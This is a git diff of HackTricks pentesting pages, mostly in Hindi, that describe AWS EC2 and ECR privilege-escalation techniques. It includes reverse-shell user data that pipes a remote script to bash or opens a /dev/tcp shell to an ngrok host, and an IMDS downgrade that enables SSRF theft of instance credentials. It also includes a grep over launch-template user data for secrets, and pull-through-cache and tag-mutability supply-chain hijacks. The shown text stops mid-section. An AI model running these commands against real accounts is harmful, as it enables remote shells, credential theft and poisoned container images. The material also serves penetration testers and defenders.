+**Potential Impact:** existing instance profiles से जुड़े किसी भी EC2 role पर Direct privesc।
+
+#### Privesc to ECS
+
+इन permissions के साथ आप **एक EC2 instance बना कर उसे किसी ECS cluster के अंदर register कर सकते हैं**। इस तरह, वे ECS **services** उसी **EC2 instance** पर **run** होंगी जहां आपका access है, और तब आप उन services (docker containers) में penetrate कर सकते हैं और उनके साथ जुड़ी **ECS roles** **steal** कर सकते हैं।
+```bash
+aws ec2 run-instances \
+--image-id ami-07fde2ae86109a2af \
+--instance-type t2.micro \
+--iam-instance-profile  \
+--count 1 --key-name pwned \
+--user-data "file:///tmp/asd.sh"
+
+# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
+# The EC2 instance profile needs basic ECS access
+# The content of the user data is:
+#!/bin/bash
+echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
+```
+To learn how to **force ECS services to be run** in this new EC2 instance check:
+
+{{#ref}}
+../aws-ecs-privesc/README.md
+{{#endref}}
+
+If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
+
+**Potential Impact:** Direct privesc to ECS roles attached to tasks.
+
+### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
+
+Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\
+As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
+```bash
+# Removing role from instance profile
+aws iam remove-role-from-instance-profile --instance-profile-name  --role-name 
+
+# Add role to instance profile
+aws iam add-role-to-instance-profile --instance-profile-name  --role-name 
+```
+यदि **instance profile has a role** और हमलावर **cannot remove it**, तो एक और workaround है। वह **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:**
+
+- यदि the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
+```bash
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id 
+```
+**संभावित प्रभाव:** Direct privesc to a different EC2 role (आपको पहले एक AWS EC2 instance compromise किया हुआ होना चाहिए और कुछ अतिरिक्त permission या specific instance profile status की आवश्यकता होगी).
+
+### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
+
+इन permissions के साथ यह संभव है कि आप किसी instance से जुड़ा instance profile बदल सकें, इसलिए यदि attacker के पास पहले से किसी instance की access है, तो वह जुड़े हुए instance profile को बदलकर और भी instance profile roles के credentials चोरी कर सकेगा।
+
+- यदि इसमें **instance profile** है, तो आप instance profile को **remove** (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और उसे **associate** कर सकते हैं।
+```bash
+aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
+aws ec2 disassociate-iam-instance-profile --association-id 
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id 
+```
+- या समझौता किए गए इंस्टेंस की **इंस्टेंस प्रोफ़ाइल** **बदलें** (`ec2:ReplaceIamInstanceProfileAssociation`).
+```bash
+aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id 
+```
+**संभावित प्रभाव:** सीधा privesc एक अलग EC2 role पर (आपको पहले किसी AWS EC2 instance को compromise कर लिया होना चाहिए और कुछ अतिरिक्त अनुमति या specific instance profile status की आवश्यकता होगी).
+
+### `ec2:RequestSpotInstances`,`iam:PassRole`
+
+एक हमलावर जिसके पास अनुमतियाँ **`ec2:RequestSpotInstances` और `iam:PassRole`** हैं, वह **request** कर सकता है एक **Spot Instance** जिसमें **EC2 Role attached** हो और **rev shell** हो **user data** में.\  
+एक बार instance चल जाने पर, वह **IAM role** चुरा सकता है।
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 request-spot-instances \
+--instance-count 1 \
+--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
+```
+### `ec2:ModifyInstanceAttribute`
+
+जिस हमलावर के पास **`ec2:ModifyInstanceAttribute`** अनुमति है वह instance के attributes को संशोधित कर सकता है। इनके बीच वह **user data** बदल सकता है, जिसका मतलब है कि वह instance को **arbitrary data चलाने** के लिए मजबूर कर सकता है, जिसका उपयोग EC2 instance पर एक **rev shell** पाने के लिए किया जा सकता है।
+
+ध्यान दें कि attributes केवल तब ही **संशोधित** किए जा सकते हैं जब instance बंद हो, इसलिए आवश्यक **permissions** हैं **`ec2:StopInstances`** और **`ec2:StartInstances`**।
+```bash
+TEXT='Content-Type: multipart/mixed; boundary="//"
+MIME-Version: 1.0
+
+--//
+Content-Type: text/cloud-config; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="cloud-config.txt"
+
+#cloud-config
+cloud_final_modules:
+- [scripts-user, always]
+
+--//
+Content-Type: text/x-shellscript; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="userdata.txt"
+
+#!/bin/bash
+bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
+--//'
+TEXT_PATH="/tmp/text.b64.txt"
+
+printf $TEXT | base64 > "$TEXT_PATH"
+
+aws ec2 stop-instances --instance-ids $INSTANCE_ID
+
+aws ec2 modify-instance-attribute \
+--instance-id="$INSTANCE_ID" \
+--attribute userData \
+--value file://$TEXT_PATH
+
+aws ec2 start-instances --instance-ids $INSTANCE_ID
+```
+**Potential Impact:** किसी बनाए गए instance से जुड़े किसी भी EC2 IAM Role पर सीधे privesc।
+
+### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
+
+जिस attacker के पास permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** हों, वह एक **new Launch Template version** बना सकता है जिसमें **rev shell in** the **user data** और **any EC2 IAM Role on it**, default version बदल सकता है, और कोई भी **Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell।
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 create-launch-template-version \
+--launch-template-name bad_template \
+--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
+
+aws ec2 modify-launch-template \
+--launch-template-name bad_template \
+--default-version 2
+```
+**संभावित प्रभाव:** Direct privesc to a different EC2 role.
+
+### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
+
+उन अनुमतियों **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** के साथ एक attacker **create a Launch Configuration** कर सकता है जिसमें एक **IAM Role** और एक **rev shell** **user data** के अंदर हो, फिर उस config से एक **autoscaling group** बना कर rev shell के द्वारा **IAM Role को चुराने** का इंतज़ार कर सकता है।
+```bash
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
+--launch-configuration-name bad_config \
+--image-id ami-0c1bc246476a5572b \
+--instance-type t3.micro \
+--iam-instance-profile EC2-CloudWatch-Agent-Role \
+--user-data "$REV"
+
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
+--auto-scaling-group-name bad_auto \
+--min-size 1 --max-size 1 \
+--launch-configuration-name bad_config \
+--desired-capacity 1 \
+--vpc-zone-identifier "subnet-e282f9b8"
+```
+**संभावित प्रभाव:** एक अलग EC2 role पर सीधे privesc।
+
+### `!autoscaling`
+
+Permissions का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM role पर privileges escalate करने के लिए पर्याप्त नहीं है** क्योंकि Launch Configuration या Launch Template में निर्दिष्ट role को attach करने के लिए **आपको permissions `iam:PassRole` और `ec2:RunInstances`** की आवश्यकता होती है (जो एक ज्ञात privesc है)।
+
+### `ec2-instance-connect:SendSSHPublicKey`
+
+जिस attacker के पास permission **`ec2-instance-connect:SendSSHPublicKey`** है, वह किसी user में एक ssh key जोड़ सकता है और यदि उसके पास instance का ssh access है तो इसका उपयोग उस instance में लॉगिन करने या privileges escalate करने के लिए कर सकता है।
+```bash
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "ec2-user" \
+--ssh-public-key "file://$PUBK_PATH"
+```
+**Potential Impact:** चल रही instances से जुड़े EC2 IAM roles पर सीधा privesc।
+
+### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
+
+यदि किसी attacker के पास permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है तो वह **serial connection में एक ssh key जोड़ सकता है**। अगर serial सक्षम नहीं है, तो attacker को इसे सक्षम करने के लिए permission **`ec2:EnableSerialConsoleAccess`** की आवश्यकता होगी।
+
+serial port से कनेक्ट करने के लिए आपको मशीन के अंदर किसी user का **username और password जानना** भी आवश्यक होगा।
+```bash
+aws ec2 enable-serial-console-access
+
+aws ec2-instance-connect send-serial-console-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--serial-port 0 \
+--region "eu-west-1" \
+--ssh-public-key "file://$PUBK_PATH"
+
+ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
+```
+This way isn't that useful to privesc as you need to know a username and password to exploit it.
+
+**Potential Impact:** (बहुत ही अनप्रमाणनीय) यह running instances से जुड़े EC2 IAM roles तक सीधे privesc कर सकता है।
+
+### `describe-launch-templates`,`describe-launch-template-versions`
+
+चूंकि launch templates में versioning होता है, एक attacker जिसके पास **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** permissions हों, वे इन्हें exploit करके संवेदनशील जानकारी खोज सकते हैं, जैसे user data में मौजूद credentials। इसे करने के लिए, निम्नलिखित script उपलब्ध launch templates के सभी versions के माध्यम से loop करता है:
+```bash
+for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
+do
+echo "[*] Analyzing $i"
+aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
+do
+echo "VersionNumber: $version"
+echo "$userdata" | base64 -d
+echo
+done | grep -iE "aws_|password|token|api"
+done
+```
+In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.
+
+Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
+
+**संभावित प्रभाव:** Direct privilege escalation to IAM user(s).
+
+## संदर्भ
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
+
+जिस हमलावर के पास किसी पीड़ित EC2 instance पर `ec2:ModifyInstanceMetadataOptions` कॉल करने की क्षमता है, वह IMDS protections को कमजोर कर सकता है — IMDSv1 सक्षम करके (`HttpTokens=optional`) और `HttpPutResponseHopLimit` बढ़ाकर। इससे instance metadata endpoint आम SSRF/proxy paths के माध्यम से उन applications से पहुंच योग्य हो जाता है जो instance पर चल रही हों। यदि हमलावर ऐसे किसी ऐप में SSRF ट्रिगर कर सके, तो वह instance profile credentials प्राप्त कर सकता है और उनके साथ pivot कर सकता है।
+
+- आवश्यक permissions: `ec2:ModifyInstanceMetadataOptions` लक्ष्य instance पर (साथ ही host पर SSRF पहुंच/trigger करने की क्षमता)।
+- लक्ष्य resource: चल रही EC2 instance जिस पर attached instance profile (IAM role) हो।
+
+Commands example:
+```bash
+# 1) Check current metadata settings
+aws ec2 describe-instances --instance-id  \
+--query 'Reservations[0].Instances[0].MetadataOptions'
+
+# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
+aws ec2 modify-instance-metadata-options --instance-id  \
+--http-endpoint enabled --http-tokens optional \
+--http-put-response-hop-limit 3 --instance-metadata-tags enabled
+
+# 3) Through the SSRF, enumerate role name
+curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
+
+# 4) Through the SSRF, steal the temporary credentials
+curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
+
+# 5) Use the stolen credentials
+export AWS_ACCESS_KEY_ID=
+export AWS_SECRET_ACCESS_KEY=
+export AWS_SESSION_TOKEN=
+aws sts get-caller-identity
+
+# 6) Restore protections (require IMDSv2, low hop limit)
+aws ec2 modify-instance-metadata-options --instance-id  \
+--http-tokens required --http-put-response-hop-limit 1
+```
+संभावित प्रभाव: SSRF के माध्यम से instance profile credentials की चोरी, जो EC2 role permissions के साथ privilege escalation और lateral movement की ओर ले जाती है।
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
deleted file mode 100644
index d9544c6ab..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ /dev/null
@@ -1,100 +0,0 @@
-# AWS - ECR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
-
-एक हमलावर जिसके पास **`ecr:GetAuthorizationToken`** और **`ecr:BatchGetImage`** हैं, वह ECR में लॉगिन कर सकता है और इमेज डाउनलोड कर सकता है।
-
-इमेज डाउनलोड करने के तरीके के बारे में अधिक जानकारी के लिए:
-
-{{#ref}}
-../aws-post-exploitation/aws-ecr-post-exploitation.md
-{{#endref}}
-
-**संभावित प्रभाव:** ट्रैफिक में संवेदनशील जानकारी को इंटरसेप्ट करके अप्रत्यक्ष प्रिवेस्क।
-
-### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
-
-एक हमलावर जिसके पास ये सभी अनुमतियाँ हैं, **ECR में लॉगिन कर सकता है और इमेज अपलोड कर सकता है**। यह उन अन्य वातावरणों में प्रिविलेज बढ़ाने के लिए उपयोगी हो सकता है जहाँ ये इमेज उपयोग की जा रही हैं।
-
-नई इमेज अपलोड करने/एक को अपडेट करने के तरीके के लिए, देखें:
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
-
-पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए।
-
-### `ecr:SetRepositoryPolicy`
-
-एक हमलावर जिसके पास यह अनुमति है, वह **रिपॉजिटरी** **नीति** को **बदल** सकता है ताकि वह खुद को (या यहां तक कि सभी को) **पढ़ने/लिखने की अनुमति** दे सके।\
-उदाहरण के लिए, इस उदाहरण में सभी को पढ़ने की अनुमति दी गई है।
-```bash
-aws ecr set-repository-policy \
---repository-name  \
---policy-text file://my-policy.json
-```
-`my-policy.json` की सामग्री:
-```json
-{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "allow public pull",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-### `ecr-public:SetRepositoryPolicy`
-
-पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए।\
-एक हमलावर **ECR सार्वजनिक रिपॉजिटरी** की रिपॉजिटरी नीति को संशोधित कर सकता है ताकि अनधिकृत सार्वजनिक पहुंच प्रदान की जा सके या अपनी विशेषाधिकारों को बढ़ा सके।
-```bash
-bashCopy code# Create a JSON file with the malicious public repository policy
-echo '{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "MaliciousPublicRepoPolicy",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr-public:GetDownloadUrlForLayer",
-"ecr-public:BatchGetImage",
-"ecr-public:BatchCheckLayerAvailability",
-"ecr-public:PutImage",
-"ecr-public:InitiateLayerUpload",
-"ecr-public:UploadLayerPart",
-"ecr-public:CompleteLayerUpload",
-"ecr-public:DeleteRepositoryPolicy"
-]
-}
-]
-}' > malicious_public_repo_policy.json
-
-# Apply the malicious public repository policy to the ECR Public repository
-aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
-```
-**संभावित प्रभाव**: ECR सार्वजनिक भंडार तक अनधिकृत सार्वजनिक पहुंच, जिससे किसी भी उपयोगकर्ता को छवियों को पुश, पुल या हटाने की अनुमति मिलती है।
-
-### `ecr:PutRegistryPolicy`
-
-इस अनुमति के साथ एक हमलावर **पॉलिसी** को **बदल** सकता है ताकि वह अपने लिए, अपने खाते के लिए (या यहां तक कि सभी के लिए) **पढ़ने/लिखने की पहुंच** प्रदान कर सके।
-```bash
-aws ecr set-repository-policy \
---repository-name  \
---policy-text file://my-policy.json
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
new file mode 100644
index 000000000..84d6b9367
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
@@ -0,0 +1,268 @@
+# AWS - ECR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
+
+एक attacker जिसके पास **`ecr:GetAuthorizationToken`** और **`ecr:BatchGetImage`** हों, वह ECR में लॉगिन करके इमेज डाउनलोड कर सकता है।
+
+For more info on how to download images:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
+{{#endref}}
+
+**Potential Impact:** ट्रैफ़िक में संवेदनशील जानकारी को इंटरसेप्ट करके अप्रत्यक्ष privesc।
+
+### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
+
+एक attacker जिनके पास ये सभी permissions हों **ECR में लॉगिन करके images अपलोड कर सकता है**। यह उन अन्य environments में privileges escalate करने में उपयोगी हो सकता है जहाँ इन images का उपयोग हो रहा है।
+
+To learn how to upload a new image/update one, check:
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
+
+पहले के सेक्शन की तरह, लेकिन public repositories के लिए।
+
+### `ecr:SetRepositoryPolicy`
+
+इस permission वाले attacker **change** the **repository** **policy** कर सकता है ताकि वह खुद (या यहां तक कि सभी) को **read/write access** दे सके।\
+For example, in this example read access is given to everyone.
+```bash
+aws ecr set-repository-policy \
+--repository-name  \
+--policy-text file://my-policy.json
+```
+`my-policy.json` की सामग्री:
+```json
+{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "allow public pull",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+### `ecr-public:SetRepositoryPolicy`
+
+जैसा कि पिछले सेक्शन की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए.\
+एक हमलावर ECR Public रिपॉजिटरी की **रिपॉजिटरी पॉलिसी को संशोधित** कर सकता है ताकि वह अनधिकृत सार्वजनिक पहुँच दे सके या अपनी privileges बढ़ा सके।
+```bash
+# Create a JSON file with the malicious public repository policy
+echo '{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "MaliciousPublicRepoPolicy",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr-public:GetDownloadUrlForLayer",
+"ecr-public:BatchGetImage",
+"ecr-public:BatchCheckLayerAvailability",
+"ecr-public:PutImage",
+"ecr-public:InitiateLayerUpload",
+"ecr-public:UploadLayerPart",
+"ecr-public:CompleteLayerUpload",
+"ecr-public:DeleteRepositoryPolicy"
+]
+}
+]
+}' > malicious_public_repo_policy.json
+
+# Apply the malicious public repository policy to the ECR Public repository
+aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
+```
+**संभावित प्रभाव**: अनधिकृत सार्वजनिक पहुँच ECR Public repository के लिए, जिससे किसी भी उपयोगकर्ता को images को push, pull, या delete करने की अनुमति मिल सकती है।
+
+### `ecr:PutRegistryPolicy`
+
+इस अनुमति वाले attacker **registry policy** को **change** करके खुद को, अपने account को (या यहाँ तक कि सभी को) **read/write access** प्रदान कर सकता है।
+```bash
+aws ecr set-repository-policy \
+--repository-name  \
+--policy-text file://my-policy.json
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### ecr:CreatePullThroughCacheRule
+
+ECR Pull Through Cache (PTC) नियमों का दुरुपयोग करके हमलावर द्वारा नियंत्रित upstream namespace को एक trusted private ECR prefix से मैप करें। इससे private ECR से इमेज खींचने वाले workloads बिना private ECR में किसी push के पारदर्शी रूप से हमलावर की images प्राप्त कर लेंगे।
+
+- ज़रूरी perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. अगर ECR Public upstream का उपयोग कर रहे हैं: ecr-public:* ताकि public repo में create/push कर सकें।
+- Tested upstream: public.ecr.aws
+
+Steps (example):
+
+1. Prepare attacker image in ECR Public
+# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
+docker login public.ecr.aws/
+docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test .
+docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test
+
+2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
+aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
+
+3. Pull the attacker image via the private ECR path (no push to private ECR was done)
+docker login .dkr.ecr.us-east-2.amazonaws.com
+docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test
+docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test
+
+Potential Impact: चुने गए prefix के अंतर्गत internal image नामों को हाईजैक करके सप्लाई-चेन समझौता। उस prefix का उपयोग कर private ECR से इमेज खींचने वाला कोई भी workload हमलावर-नियंत्रित कंटेंट प्राप्त करेगा।
+
+### `ecr:PutImageTagMutability`
+
+इस permission का दुरुपयोग करके tag immutability वाले repository को mutable में बदलकर trusted tags (e.g., latest, stable, prod) को हमलावर-नियंत्रित कंटेंट से overwrite किया जा सकता है।
+
+- आवश्यक perms: `ecr:PutImageTagMutability` साथ ही push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`)।
+- Impact: tag नाम बदले बिना मौन रूप से immutable tags को बदलकर सप्लाई-चेन समझौता।
+
+Steps (example):
+
+

+Poison an immutable tag by toggling mutability
+```bash
+REGION=us-east-1
+REPO=ht-immutable-demo-$RANDOM
+aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+# Build and push initial trusted tag
+printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Attempt overwrite while IMMUTABLE (should fail)
+printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Flip to MUTABLE and overwrite
+aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Validate consumers pulling by tag now get the poisoned image (prints V2)
+docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+```
+

+
+
+#### ROOT Pull-Through Cache rule के माध्यम से Global registry hijack
+
+विशेष `ecrRepositoryPrefix=ROOT` का उपयोग करके एक Pull-Through Cache (PTC) नियम बनाइए ताकि private ECR registry की root को upstream public registry (e.g., ECR Public) से मैप किया जा सके। private registry में मौजूद नहीं किसी repository के लिए किया गया कोई भी pull पारदर्शी रूप से upstream से serve किया जाएगा, जिससे private ECR में push किए बिना supply-chain hijacking संभव हो जाएगा।
+
+- आवश्यक अनुमति: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
+- प्रभाव: Pulls to `.dkr.ecr..amazonaws.com/:` सफल होंगे और upstream से स्रोतित private repos स्वतः बना दिए जाएंगे।
+
+> ध्यान दें: `ROOT` नियमों के लिए `--upstream-repository-prefix` छोड़ें। इसे प्रदान करने पर मान्यकरण त्रुटि होगी।
+
+

+Demo (us-east-1, upstream public.ecr.aws)
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
+aws ecr create-pull-through-cache-rule \
+--region "$REGION" \
+--ecr-repository-prefix ROOT \
+--upstream-registry-url public.ecr.aws
+
+# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
+
+# Example using an official mirror path hosted in ECR Public
+# (public.ecr.aws/docker/library/alpine:latest)
+docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
+
+# 3) Verify repo and image now exist without any push
+aws ecr describe-repositories --region "$REGION" \
+--query "repositories[?repositoryName==docker/library/alpine]"
+aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED
+
+# 4) Cleanup
+aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
+aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
+```
+

+
+### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` to bypass registry policy denies)
+
+`ecr:PutAccountSetting` का दुरुपयोग करके registry policy scope को `V2` (जो सभी ECR actions पर लागू होती है) से `V1` में बदलें (जो केवल `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` पर लागू होती है)। यदि कोई restrictive registry policy Deny `CreatePullThroughCacheRule` जैसे actions को ब्लॉक कर रही है, तो scope को अस्थायी रूप से `V1` पर डाउनग्रेड करने से वह enforcement हट जाती है और identity‑policy Allows प्रभावी हो जाते हैं।
+
+- आवश्यक perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
+- प्रभाव: अस्थायी रूप से scope को `V1` पर सेट करके उन ECR actions को करने में सक्षम होना जो पहले registry policy Deny द्वारा ब्लॉक थे (उदा., create PTC rules)।
+
+कदम (उदाहरण):
+
+

+Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 0) Snapshot current scope/policy (for restore)
+aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
+aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
+
+# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+cat > /tmp/deny-ptc.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "DenyPTCAll",
+"Effect": "Deny",
+"Principal": "*",
+"Action": ["ecr:CreatePullThroughCacheRule"],
+"Resource": "*"
+}
+]
+}
+JSON
+aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
+
